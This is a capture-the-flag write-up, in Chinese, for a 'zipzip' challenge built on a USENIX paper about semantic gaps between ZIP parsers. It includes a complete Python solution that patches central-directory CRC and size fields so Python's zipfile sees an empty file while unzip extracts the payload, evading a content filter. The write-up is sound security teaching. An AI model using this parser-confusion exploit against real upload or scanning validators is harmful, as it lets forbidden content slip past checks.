detail

本题灵感源自：

> You Y, Chen J, Wang Q, et al. My {ZIP} isn't your {ZIP}: Identifying and Exploiting Semantic Gaps Between {ZIP} Parsers[C]//34th USENIX Security Symposium (USENIX Security 25). 2025: 431-450.
>
> https://github.com/ouuan/ZipDiff

zipzip考察python zipfile和Info zip的解析差异，注意到ZipFile::testzip进行了CRC校验。其实是read方法默认会对解压文件进行CRC校验，此处调用testzip也是为了提醒选手去审计zipfile内部的解析逻辑。

```
def _update_crc(self, newdata):
    # Update the CRC using the given data.
    if self._expected_crc is None:
        # No need to compute the CRC if we don't have a reference value
        return
    self._running_crc = crc32(newdata, self._running_crc)
    # Check the CRC if we're at the end of the file
    if self._eof and self._running_crc != self._expected_crc:
        raise BadZipFile("Bad CRC-32 for file %r" % self.name)
```

注意到_expected_crc取自CDH，同样文件大小compress_size、file_size也来自CDH区域。

```
def _RealGetContents(self):
    ...
    (x.create_version, x.create_system, x.extract_version, x.reserved,
     x.flag_bits, x.compress_type, t, d,
     x.CRC, x.compress_size, x.file_size) = centdir[1:12]
    ...
```

在论文的motivation小节中，提到info zip(unzip)会取LFH的size作为压缩/解压缩文件的size，而某些zip parser则会取CDH的size作为文件大小。因此，合理猜测修改压缩包中，CDH区域的CRC字段也能通过unzip校验，事实证明确实：

```
[root@hcss-ecs-7fa5 tmp]# unzip malicious.zip
Archive:  malicious.zip
replace flag.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: flag.txt
[root@hcss-ecs-7fa5 tmp]# cat flag.txt
give me flag[root@hcss-ecs-7fa5 tmp]#
```

此外，题目限制了压缩包中的文件不允许包含flag：

```
content = zip_obj.read(info.filename).decode('utf-8', errors='ignore')
if "flag" in content:
    self.send("Flag-like content is not allowed.\n")
    return False
```

那么，我们可以修改CDH中的uncompressed_size字段，让zipfile认为这是空文件。而info zip会取LFH的size，因此使用unzip会正常恢复解压出give me flag字符。

最后修改CDH的CRC，通过zipfile的CRC校验：

```
# 修改 CDH uncompressed_size = 1
data[cd_offset + 24 : cd_offset + 28] = struct.pack("<I", 0)
data[cd_offset + 20 : cd_offset + 24] = struct.pack("<I", 1)

# 修改CRC
data[cd_offset + 16 : cd_offset + 20] = struct.pack("<I", 0)
```

一些可能/不可能的非预期思路：

1. 尝试绕过 `len(zip_obj.infolist()) == 1`？因为check的逻辑是只要解压出来的任一文件内容为 `give me flag` 就会返回flag。
2. f.read_text(errors='ignore')未设置文件编码，写入特殊编码文件随后进行压缩是很合理的思考，但是系统默认编码为UTF-8。

solution：

```
from zipfile import ZipFile, ZipInfo
import struct
import zipfile
import base64
payload = b"give me flag"
filename = "flag.txt"

with ZipFile("malicious.zip", "w") as zf:
    zi = ZipInfo(filename)
    zi.compress_type = zipfile.ZIP_DEFLATED
    zi.extra = b"\x00" * 64
    zf.writestr(zi, payload)

with open("malicious.zip", "rb") as f:
    data = bytearray(f.read())

# 定位 EOCDR
eocdr_off = data.rfind(b"\x50\x4b\x05\x06")
cd_offset = struct.unpack("<I", data[eocdr_off + 16 : eocdr_off + 20])[0]

# 修改 CDH uncompressed_size = 1
data[cd_offset + 24 : cd_offset + 28] = struct.pack("<I", 0)
data[cd_offset + 20 : cd_offset + 24] = struct.pack("<I", 1)

# 修改CRC
data[cd_offset + 16 : cd_offset + 20] = struct.pack("<I", 0)

with open("malicious.zip", "wb") as f:
    f.write(data)

zip_name = "malicious.zip"
with ZipFile(zip_name, "r") as zf:
    info = zf.infolist()[0]
    print("Filename:", info.filename)
    print("CRC32:", hex(info.CRC))
    print("LFH uncompressed_size:", info.file_size)
```

```
    print("LFH compressed_size:", info.compress_size)
    print("file content:", zf.read(info.filename))

zip = ZipFile(zip_name, 'r')
error_file = zip.testzip()
if error_file is None:
    zip.extractall('./test')
else:
    print(f"Error in file {error_file}")
    exit(1)

base = open("malicious.zip", "rb").read()
print(base64.b64encode(base).decode())
```